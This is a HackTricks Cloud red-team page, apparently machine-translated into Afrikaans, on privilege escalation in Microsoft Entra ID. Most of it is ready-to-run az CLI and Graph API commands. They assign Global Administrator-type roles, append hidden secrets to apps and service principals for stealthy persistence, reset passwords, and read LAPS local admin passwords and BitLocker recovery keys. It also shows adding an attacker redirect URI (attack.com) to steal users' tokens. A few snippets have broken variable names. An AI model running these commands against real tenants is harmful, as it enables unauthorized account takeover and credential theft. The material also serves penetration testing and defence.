Az - EntraID Privesc
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Note
Let daarop dat nie al die fyn granulaire toestemmings wat ingeboude rolle in Entra ID het verkieslik is om in pasgemaakte rolle gebruik te word nie.
Rolle
Rol: Privileged Role Administrator
Hierdie rol bevat die nodige fyn granulaire toestemmings om rolle aan principals toe te ken en om meer toestemmings aan rolle te gee. Beide aksies kan misbruik word om voorregte te verhoog.
- Ken rol aan ’n gebruiker toe:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Voeg meer toestemmings by ’n rol:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Toepassings
microsoft.directory/applications/credentials/update
Dit stel ’n aanvaller in staat om akkrediteer (wagwoorde of sertifikate) by bestaande toepassings te voeg. As die toepassing bevoorregte toestemmings het, kan die aanvaller as daardie toepassing autentiseer en daardie voorregte verkry.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Dit laat dieselfde aksies toe as applications/credentials/update, maar beperk tot enkel-directory toepassings.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
Deur hulself as ’n eienaar toe te voeg, kan ’n aanvaller die toepassing manipuleer, insluitend geloofsbriewe en toestemmings.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
’n Aanvaller kan ’n omleidings-URI by toepassings voeg wat deur gebruikers van die huurder gebruik word en dan aan hulle aanmeld-URL’s deel wat die nuwe omleidings-URL gebruik om hulle tokens te steel. Let daarop dat as die gebruiker reeds in die toepassing aangemeld was, die outentisering outomaties gaan wees sonder dat die gebruiker iets hoef te aanvaar.
Let daarop dat dit ook moontlik is om die toestemmings wat die toepassing versoek te verander om meer toestemmings te verkry, maar in hierdie geval sal die gebruiker weer die prompt wat om al die toestemmings vra, moet aanvaar.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Diens Prinsipale
microsoft.directory/servicePrincipals/credentials/update
Dit stel ’n aanvaller in staat om geloofsbriewe by bestaande diens prinsipale te voeg. As die diens prinsipaal verhoogde voorregte het, kan die aanvaller daardie voorregte aanvaar.
az ad sp credential reset --id <sp-id> --append
Caution
Die nuwe gegenereerde wagwoord sal nie in die webkonsol verskyn nie, so dit kan ’n stealth manier wees om volharding oor ’n dienshoof te handhaaf.
Van die API kan hulle gevind word met:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
As jy die fout ontvang "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." is dit omdat dit nie moontlik is om die passwordCredentials eienskap van die SP te wysig nie en jy moet dit eers ontgrendel. Hiervoor het jy ’n toestemming (microsoft.directory/applications/allProperties/update) nodig wat jou toelaat om uit te voer:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Dit stel ’n aanvaller in staat om geloofsbriewe by bestaande dienshoofde te voeg. As die dienshoof ’n verhoogde voorregte het, kan die aanvaller daardie voorregte aanvaar.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Soos by toepassings, laat hierdie toestemming toe om meer eienaars by ’n dienshoof te voeg. Om ’n dienshoof te besit, stel jou in staat om beheer oor sy akrediteer en toestemmings te hê.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
Nadat ek ’n nuwe eienaar bygevoeg het, het ek probeer om dit te verwyder, maar die API het geantwoord dat die DELETE-metode nie ondersteun word nie, selfs al is dit die metode wat jy moet gebruik om die eienaar te verwyder. So jy kan nie eienaars vandag verwyder nie.
microsoft.directory/servicePrincipals/disable en enable
Hierdie toestemmings laat toe om diensbeginsels te deaktiveer en te aktiveer. ’n Aanvaller kan hierdie toestemming gebruik om ’n diensbeginsel te aktiveer waartoe hy op een of ander manier toegang kan kry om voorregte te verhoog.
Let daarop dat die aanvaller vir hierdie tegniek meer toestemmings nodig sal hê om die geaktiveerde diensbeginsel oor te neem.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Hierdie toestemmings stel in staat om akrediteerbare inligting vir enkel aanmelding te skep en te verkry, wat toegang tot derdeparty toepassings kan toelaat.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Toepassings Privilege Escalation
Soos verduidelik in hierdie pos was dit baie algemeen om standaardtoepassings te vind wat API-toestemmings van die tipe Application aan hulle toegeken het. ’n API-toestemming (soos genoem in die Entra ID-konsol) van die tipe Application beteken dat die toepassing toegang tot die API kan verkry sonder ’n gebruikerskonteks (sonder ’n gebruiker wat in die app aanmeld), en sonder om Entra ID-rolle te benodig om dit toe te laat. Daarom is dit baie algemeen om hooggeprivilegieerde toepassings in elke Entra ID-huurder te vind.
As ’n aanvaller dan enige toestemming/rol het wat toelaat om die akkrediteer (geheim of sertifikaat) van die toepassing op te dateer, kan die aanvaller ’n nuwe akkrediteer genereer en dit dan gebruik om as die toepassing te verifieer, wat al die toestemmings wat die toepassing het, verkry.
Let daarop dat die genoemde blog ’n paar API-toestemmings van algemene Microsoft standaardtoepassings deel, maar ’n tydjie na hierdie verslag het Microsoft hierdie probleem reggestel en dit is nou nie meer moontlik om as Microsoft-toepassings aan te meld nie. Dit is egter steeds moontlik om aangepaste toepassings met hoë voorregte te vind wat misbruik kan word.
Groepe
microsoft.directory/groups/allProperties/update
Hierdie toestemming laat toe om gebruikers by voorregte groepe te voeg, wat lei tot privilege escalatie.
az ad group member add --group <GroupName> --member-id <UserId>
Let wel: Hierdie toestemming sluit Entra ID rol-toewysbare groepe uit.
microsoft.directory/groups/owners/update
Hierdie toestemming maak dit moontlik om ’n eienaar van groepe te word. ’n Eienaar van ’n groep kan groepslidmaatskap en instellings beheer, wat moontlik die bevoegdhede na die groep kan opgradeer.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Let wel: Hierdie toestemming sluit Entra ID rol-toewysbare groepe uit.
microsoft.directory/groups/members/update
Hierdie toestemming laat toe om lede by ’n groep te voeg. ’n Aanvaller kan homself of kwaadwillige rekeninge aan bevoorregte groepe voeg, wat verhoogde toegang kan verleen.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Hierdie toestemming laat toe om lidmaatskapreëls in ’n dinamiese groep op te dateer. ’n Aanvaller kan dinamiese reëls wysig om homself in bevoorregte groepe in te sluit sonder eksplisiete toevoeging.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Let wel: Hierdie toestemming sluit Entra ID rol-toewysbare groepe uit.
Dinamiese Groepe Privesc
Dit mag moontlik wees vir gebruikers om voorregte te verhoog deur hul eie eienskappe te wysig om as lede van dinamiese groepe bygevoeg te word. Vir meer inligting, kyk:
Gebruikers
microsoft.directory/users/password/update
Hierdie toestemming stel in staat om die wagwoord van nie-admin gebruikers te herstel, wat ’n potensiële aanvaller in staat stel om voorregte na ander gebruikers te verhoog. Hierdie toestemming kan nie aan pasgemaakte rolle toegeken word.
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
Hierdie voorreg stel in staat om eienskappe van die gebruiker te wysig. Dit is algemeen om dinamiese groepe te vind wat gebruikers byvoeg op grond van eienskapwaardes, daarom kan hierdie toestemming ’n gebruiker in staat stel om die nodige eienskapwaarde in te stel om ’n lid van ’n spesifieke dinamiese groep te wees en voorregte te verhoog.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Voorwaardelike Toegang Beleide & MFA omseiling
Sleg geconfigureerde voorwaardelike toegang beleide wat MFA vereis, kan omseil word, kyk:
Az - Conditional Access Policies & MFA Bypass
Toestelle
microsoft.directory/devices/registeredOwners/update
Hierdie toestemming laat aanvallers toe om hulleself as eienaars van toestelle toe te ken om beheer of toegang tot toestel-spesifieke instellings en data te verkry.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Hierdie toestemming laat aanvallers toe om hul rekening met toestelle te assosieer om toegang te verkry of om sekuriteitsbeleide te omseil.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Hierdie toestemming laat aanvallers toe om die eienskappe van die geback-up plaaslike administrateurrekening geloofsbriewe vir Microsoft Entra-verbonden toestelle te lees, insluitend die wagwoord.
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Hierdie toestemming stel toegang tot BitLocker sleutels in, wat ’n aanvaller in staat kan stel om skywe te ontsleutel, wat data vertroulikheid in gevaar stel.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Ander Interessante toestemmings (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

